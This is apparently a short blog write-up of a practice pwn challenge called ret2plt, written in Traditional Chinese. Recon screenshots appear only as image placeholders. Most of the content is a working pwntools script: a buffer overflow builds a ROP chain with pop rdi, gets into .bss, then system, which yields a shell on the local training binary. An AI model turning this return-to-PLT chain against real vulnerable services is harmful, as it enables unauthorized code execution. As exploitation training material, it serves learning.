Featured image of post Yuawn Pwn ret2plt Write up

Yuawn Pwn ret2plt Write up

Yuawn Pwn ret2plt Write up

前言:

在繼續 lys rop3 前,我們要先學會 ret2plt ㄉ技巧 :D

Recon

file: image

checksec: image

r2: image

objdump: image

gdb: image

目標是先給一個可以寫東西的 address 再用 gets 進行寫入,並寫利用 system 去執行

exploit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

context(arch="amd64")

r=process('./ret2plt')

pop_rdi=p64(0x0000000000400733)
system=p64(0x0000000000400520)
gets=p64(0x0000000000400530)

bss=p64(0x601070)

r.sendline('a'*0x38+pop_rdi+
           bss+
           gets+ #寫入
           pop_rdi+
           bss+
           system) #執行

r.interactive()

pwned!

image

Licensed under CC BY-NC-SA 4.0
comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy